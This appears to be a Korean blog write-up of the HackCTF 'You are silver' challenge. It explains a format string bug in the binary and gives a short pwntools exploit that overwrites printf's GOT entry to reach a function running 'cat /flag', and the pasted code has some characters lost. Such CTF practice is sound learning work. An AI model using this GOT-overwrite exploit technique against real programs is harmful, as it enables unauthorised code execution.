HACKCTF - You are silver

2020. 8. 6. 18:09CTF's Write-up

문제 화면

 

 

해당 문제를 실행시켜보면

 

 

실행 화면

 

이름을 입력받고, 출력해주고, 세그멘테이션 오류를 출력합니다.

 

ida로 메인함수부분을 확인해보면

 

 

printf에서 입력은 부분들을 그대로 출력해주니 이 부분에서 segmentation오류가 발생합니다. 

아마 FBS관련 문제 같았습니다.

하지만.. 전 fsb에 대해서 약점을 가지고있어서... 공부하고 오느라 푸는데 시간이 3일정도 걸렸습니다. ㅎㅎ

문제 보고 fsb 공부하려고 dreamhack가서 강의 처음부터 쭉 듣다가 st4nw한테 문제 받아서 풀려고했는데 그거보다 이게 쉬운문제같아서 바로 풀었습니다. 이제 다시 그문제 풀러 가야겠네요..ㅎㅎ 잡담이 길었고 다시 본론으로 들어가면

 

fsb문제인데, fsb를 발생시켜보면

 

 

실행

 

6번째에서 주소값을 출력하는 것을 볼 수 있습니다.

그리고 코드를 살펴보면

 

 

ida play_game

 

play_game이란 함수에서 "cat /flag"가 있으니 이 부분으로 gor overwriting 을 해주면 될 듯 합니다.

 

페이로드는 아래와 같습니다.

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3022)
= ELF("./you_are_silver")
#context.log_level = "debug"
 
printf_got = e.got['printf']
cat_flag = 0x400744
 
payload = ""
payload += "%4196164c"
payload += "%8$ln"
payload += "AA"
payload += p64(printf_got)
 
r.recvuntil("name\n")
r.sendline(payload)
 
r.interactive()
 
 
 
cs

 

실행시키면

 

 



dummy를 엄청 출력시킨 후 flag를 획득할 수 있었습니다 :)

'CTF's Write-up' 카테고리의 다른 글

HackCTF - Classic Cipher -1  (0) 2020.08.07
DreamHack - rev-basic-5  (0) 2020.08.06
HACKCTF - 1996  (0) 2020.08.06
DreamHack - basic_exploitation_000  (0) 2020.08.05
HACKCTF - 잔상  (0) 2020.08.05